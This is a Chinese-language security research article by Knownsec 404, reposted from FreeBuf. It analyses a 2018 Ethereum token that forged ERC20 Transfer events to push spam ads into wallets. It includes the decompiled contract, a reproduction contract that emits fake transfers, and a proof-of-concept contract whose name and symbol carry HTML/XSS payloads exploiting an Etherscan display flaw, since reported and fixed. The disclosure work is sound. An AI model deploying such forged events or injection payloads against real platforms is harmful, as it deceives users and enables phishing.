blockwell.ai KYC Casper Token “牛皮癣广告” 事件分析 – 作者:Knownsec知道创宇

一、背景

2018年9月7日早上1点左右,许多以太坊钱包账户都收到了一种名为blockwell.ai KYC Casper Token代币转进/出账消息:

令人奇怪的是这些账号均表示之前对这个Token的“一无所知”,当这些收到消息用户并没有真正收到提示的那100个代币,而那些提示有100代币转出的用户在之前也并没有拥有过这种代币,这一切都显得“莫名其妙”!更加让一部分人奇怪和担心的是,这些“转进/出账”的操作,都不需要钱包拥有者的的任何密码私钥输入,于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击 …

二、事件跟踪

首先我们从blockwell.ai KYC Casper Token

https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63

交易页面,看到的交易记录都是转出100代币的记录,没有任何转入记录。

再看看实际转账到账户的交易信息

https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63?a=0xa3fe2b9c37e5865371e7d64482a3e1a347d03acd

可以看到通过调用这个合约,发起了一笔代币转账,在event logs里可以看到实际的交易

然后具体的交易地址为

https://etherscan.io/tx/0x3230f7326ab739d9055e86778a2fbb9af2591ca44467e40f7cd2c7ba2d7e5d35

整笔交易花费了244w的gas,价值2.28美元,有针对的从500个用户转账给了500个用户。

继续跟踪到转账的from地址:

https://etherscan.io/address/0xeb7a58d6938ed813f04f36a4ea51ebb5854fa545#tokentxns

正如文章开头提到的那样:所有的来源账户本身都是不持有这种代币的,跟踪一下也可以发现,无论是发起交易者还是接受交易者,都没有发生实际代币的变化。

但是这些交易记录确实被保存在链上,那么这个事件的核心问题就在于:“这些记录是怎么被产生并记录的?”

三、事件原理

我们从合约分析入手

https://etherscan.io/address/0x212d95fccdf0366343350f486bda1ceafc0c2d63#code

不出所料,这种事件型的合约代码并不会直接给你开放源代码,通过利用我们404自主研发的智能合约OPCODE逆向工具,反编译后得到如下代码:

源码如下

contract 0x212D95FcCdF0366343350f486bda1ceAfC0C2d63 {
    mapping(address => uint256) balances;
    uint256 public totalSupply;
    mapping (address => mapping (address => uint256)) allowance;
    address public owner;
    string public name;
    string public symbol;
    uint8 public decimals;
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event OwnershipRenounced(address indexed previousOwner);
    event TransferOwnership(address indexed old, address indexed new);
    function approve(address _spender, uint256 _value) public returns (bool success) {        
        allowance[msg.sender][_spender] = _value;        
        Approval(msg.sender, _spender, _value);        
        return true;    
    }  
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        // 0x841
        require(to != address(0));   
        require(balances[_from] >= _value);
        require(allowance[_from][msg.sender] >= _value);
        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowance[_from][msg.sender] =  allowance[_from][msg.sender].sub(_value); 
        Transfer(_from, _to, _value);
        return true;
    }
    function decreaseApproval(address _spender, uint256 _subtractedValue) {
        // 0xc0e
        uint oldValue = allowance[msg.sender][_spender];
        if (_subtractedValue > oldValue) {      
            allowance[msg.sender][_spender] = 0;    
        } else {
            allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);    
        }    
        Approval(msg.sender, _spender, allowance[msg.sender][_spender]);    
        return true;  
    }
    function balanceOf(address _owner) constant returns (uint256 balance) {       
        // 0xe9f 
        return balances[_owner];    
    }    
    function renounceOwnership() {
        // 0xee7
        require(owner == msg.sender);
        emit OwnershipRenounced(owner);
        owner = address(0);
    }
    function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
        require(owner == msg.sender);
        require(arg0.length > 0, "Address arrays must not be empty");
        require(arg0.length == arg1.length, "Address arrays must be of equal length");
        for (i=0; i < arg0.length; i++) {
            emit Transfer(arg0[i], arg1[i], arg2);
        }
    }
    function transfer(address arg0,uint256 arg1) {
        require(arg0 != address(0x0));
        require(balances[msg.sender] > arg1);
        balances[mag.sender] = balances[msg.sender].sub(arg1);
        balances[arg0] = balances[arg0].add(arg1);
        emit Transfer(msg.sender, arg0, arg1)
        return arg1
    }
    function increaseApproval(address arg0,uint256 arg1) {
        allowance[msg.sender][arg0] = allowance[msg.sender][arg0].add(arg1)
        emit Approval(msg.sender, arg0, arg1)
        return true;
    }
    function transferOwnership(address arg0) {
        require(owner == arg0);
        require(arg0 != adress(0x0));
        emit TransferOwnership(owner, arg0);
        owner = arg0;
    }
}

从代码中可以很明显的看到一个特殊的函数x_975ef7df,这是唯一一个涉及到数组操作,且会触发Tranfser事件的函数。

    function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
        require(owner == msg.sender);
        require(arg0.length > 0, "Address arrays must not be empty");
        require(arg0.length == arg1.length, "Address arrays must be of equal length");
        for (i=0; i < arg0.length; i++) {
            emit Transfer(arg0[i], arg1[i], arg2);
        }
    }

从代码中可以很清晰的看到, 在对地址列表的循环中,只触发了Transfer事件,没有任何其余的操作。

我们知道遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币,ERC20代币会直接被交易所承认。而 在ERC20标准中规定,transfer函数必须触发Transfer事件,事件会被记录在event log中,是不是说明平台和交易所在获取ERC20代币交易信息,是通过event log事件获取的呢?我们来测试一下。

四、事件复现

首先我们需要编写一个简单的ERC20标准的代币合约

contract MyTest {
    mapping(address => uint256) balances;
    uint256 public totalSupply;
    mapping (address => mapping (address => uint256)) allowance;
    address public owner;
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    function MyTest() {
        name = "we are ruan mei bi";
        symbol = "RMB";
        totalSupply = 100000000000000000000000000000000000;
    }
    function mylog(address arg0, address arg1, uint256 arg2) public {
        Transfer(arg0, arg1, arg2);
    }
}

合约代币需要规定好代币的名称等信息,然后我们定义一个mylog函数。

这里我们通过remix进行部署(由于需要交易所获得提示信息,所以我们需要部署在公链上)

测试合约地址

https://etherscan.io/address/0xd69381aec4efd9599cfce1dc85d1dee9a28bfda2

注:这里需要强调的是:转出/入账的地址都是可以自定义的,这也就是为什么所有的来源账户本身都是不持有这种代币的原因。

然后直接发起交易

然后我们的imtoken提示了消息,注意收到的消息了包含了我们的代码里symbol = “RMB”;的值rmb

回看余额可以发现没有实际转账诞生。

五、事件目的

通过上面分析及测试,我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录,并没有其他“实质”性的恶意操作,那么这个事件的目的是什么呢?

我们回顾下整个事件的流程:

创建一个token —> 伪造交易记录 —> 钱包或交易平台获取交易记录 —> 推送给用户

如果能找到自定义的消息,那么这是一条完美的消息推广链!这个事件的始作俑者非常聪明的利用了token名这个自定义输入点:blockwell.ai KYC Casper Token,blockwell.ai这个就是本次事件的主要目的,牛皮癣小广告推广这个网站。

看你有的人会说如果只是用来做广告推广的话,完全可以使用代币的真实转账记录来推广,而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题,这个“广告费”也就是合约操作里的gas消耗,伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”,本次事件整个过程的话费的“广告费”约2.28美元的gas,就实现了对1000个用户有针对的推送了精准广告。

六、总结

结合以往的各种事件,相比于区块链的各种有限应用场景里,在“恶意”攻击或者利用的层面,攻击者们表现出了惊人的“创意”,本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点,使用了以太坊平台本身实现的“bug”,利用了最少的“广告费”实现了精准的用户广告推送。

另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的,那么可能导致的风险是非常值得思考的:比如推送钓鱼网站信息,推送其他非法类型的小广告及言论,会导致钱包等平台应用方的用户的其他不可以预期的风险!我们也提醒各大钱包、交易所等平台警惕此类风险,必要时针对这些可自定义点进行相关识别及过滤。

9月20日更新:一个有趣的点击劫持漏洞

在复现上述漏洞的过程中,我们发现了一个有趣的漏洞,在上述合约代币用于做小广告的区域,是很少的一块我们可控的智能合约属性。

那么假设合约展示平台如etherscan等,没有对这里做合理的处理,是不是可能会存在xss等漏洞呢。

经过测试我们发现Etherscan就存在这样的点击劫持漏洞

首先我们先部署以下代码

pragma solidity ^0.4.24;

contract MyTest {

    mapping(address => uint256) balances;

    uint256 public totalSupply;

    mapping (address => mapping (address => uint256)) allowance;

    address public owner;

    string public name;

    string public symbol;

    uint8 public decimals = 18;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    function MyTest() {

        name = "<a href=http://baidu.com>12321</a>";

        symbol = 'ok<img src=/ onerror=alert(1)> ';

        totalSupply = 100000000000000000000000000000000000;

    }

    function mylog(address arg0, address arg1, uint256 arg2) public {

        Transfer(arg0, arg1, arg2);

    }

}

部署后我们我们用合约发起一次交易

然后查看etherscan的页面,在非常重要的进入查看合约信息的地方,成功被设置为其他地址的a标签

123.png

当开发者或者用户想要查看合约信息的时候,点击按钮就会跳转到其他地方做进一步利用。

这是一个潜力很大的点击劫持漏洞,攻击者完全可以用这种方式来诱导开发者或用户到错误的合约,甚至伪造的etherscan导致更大的危害。

该漏洞目前已上报etherscan官方并修复。

*本文作者:知道创宇404区块链安全研究团队,转载请注明来自FreeBuf.COM

来源:freebuf.com 2018-09-27 08:00:57 by: Knownsec知道创宇

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论